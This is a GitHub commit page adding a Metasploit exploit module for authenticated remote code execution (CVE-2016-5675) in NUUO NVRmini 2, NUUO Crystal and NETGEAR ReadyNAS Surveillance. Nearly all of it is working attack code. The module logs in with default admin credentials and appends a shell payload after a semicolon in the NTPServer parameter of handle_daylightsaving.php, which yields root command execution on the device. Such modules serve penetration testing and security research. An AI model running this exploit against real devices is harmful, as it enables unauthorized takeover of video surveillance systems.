Skip to content

Commit c64e1b8

Browse files
committed
Land rapid7#7181, NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance
2 parents cb04ff4 + 746ba4d commit c64e1b8

File tree

1 file changed

+176
-0
lines changed

1 file changed

+176
-0
lines changed
Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution',
16+
'Description' => %q{
17+
The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS Surveillance application are vulnerable
18+
to an authenticated remote code execution on the exposed web administration interface. An administrative
19+
account is needed to exploit this vulnerability.
20+
This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
21+
This exploit has been tested on several versions of the NVRmini 2, Crystal and the ReadyNAS Surveillance.
22+
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
23+
in those devices.
24+
},
25+
'Author' =>
26+
[
27+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['CVE', '2016-5675'],
33+
['US-CERT-VU', '856152'],
34+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
35+
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
36+
],
37+
'DefaultOptions' => { 'WfsDelay' => 5 },
38+
'Platform' => 'unix',
39+
'Arch' => ARCH_CMD,
40+
'Privileged' => false, # Runs as root in NVRmini 2 / Crystal, admin in ReadyNas
41+
'Targets' =>
42+
[
43+
[ 'Automatic', { } ],
44+
[ 'NUUO NVRmini 2', {
45+
'Payload' =>
46+
{
47+
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
48+
'DisableNops' => true,
49+
'Compat' =>
50+
{
51+
'PayloadType' => 'cmd',
52+
'RequiredCmd' => 'netcat generic perl'
53+
}
54+
},
55+
}],
56+
[ 'ReadyNAS NETGEAR Surveillance', {
57+
'Payload' =>
58+
{
59+
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
60+
'DisableNops' => true,
61+
'Compat' =>
62+
{
63+
'PayloadType' => 'cmd',
64+
'RequiredCmd' => 'netcat generic perl'
65+
}
66+
},
67+
}],
68+
[ 'NUUO Crystal', {
69+
'Payload' =>
70+
{
71+
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
72+
'DisableNops' => true,
73+
'Compat' =>
74+
{
75+
'PayloadType' => 'cmd',
76+
'RequiredCmd' => 'bash'
77+
}
78+
},
79+
}],
80+
],
81+
'DefaultTarget' => 0,
82+
'DisclosureDate' => 'Aug 4 2016'))
83+
84+
register_options(
85+
[
86+
Opt::RPORT(8081),
87+
OptString.new('TARGETURI', [true, "Application path", '/']),
88+
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
89+
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
90+
], self.class)
91+
end
92+
93+
94+
def id_target
95+
return target if target.name != 'Automatic'
96+
res = send_request_cgi({
97+
'uri' => normalize_uri(datastore['TARGETURI'])
98+
})
99+
if res && res.code == 200
100+
if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/
101+
print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.")
102+
return targets[2]
103+
elsif res.body.to_s =~ /v_web_login_login_type/
104+
print_status("#{peer} - Identified NUUO Crystal as the target.")
105+
return targets[3]
106+
else
107+
print_status("#{peer} - Identified NUUO NVRMini 2 as the target.")
108+
return targets[1]
109+
end
110+
end
111+
end
112+
113+
114+
def exploit
115+
res = send_request_cgi({
116+
'method' => 'POST',
117+
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
118+
'vars_post' => {
119+
'user' => datastore['USERNAME'],
120+
'pass' => datastore['PASSWORD'],
121+
'submit' => "Login"
122+
}
123+
})
124+
125+
if res && (res.code == 200 || res.code == 302)
126+
cookie = res.get_cookies
127+
else
128+
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
129+
end
130+
131+
my_target = id_target
132+
if my_target == targets[1]
133+
if payload.raw.include?("perl")
134+
fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or netcat payloads.")
135+
end
136+
print_status("#{peer} - Executing payload...")
137+
send_request_cgi({
138+
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
139+
'cookie' => cookie,
140+
'vars_get' => {
141+
'act' => "update",
142+
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.encoded
143+
}
144+
}, 1)
145+
elsif my_target == targets[2]
146+
if payload.raw.include?("netcat")
147+
fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support netcat payloads.")
148+
end
149+
# We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows
150+
# it up.
151+
print_status("#{peer} - Executing payload...")
152+
send_request_cgi({
153+
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
154+
'cookie' => cookie,
155+
'vars_get' => {
156+
'act' => "update",
157+
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw.gsub("-MIO ", "-MIO::Socket ")
158+
}
159+
}, 1)
160+
else
161+
if not payload.raw.include?("exec")
162+
fail_with(Failure::Unknown, "NUUO Crystal only supports bash payloads.")
163+
end
164+
print_status("#{peer} - Executing payload...")
165+
send_request_cgi({
166+
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
167+
'cookie' => cookie,
168+
'vars_get' => {
169+
'act' => "update",
170+
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw
171+
}
172+
}, 1)
173+
end
174+
handler
175+
end
176+
end

0 commit comments

Comments
 (0)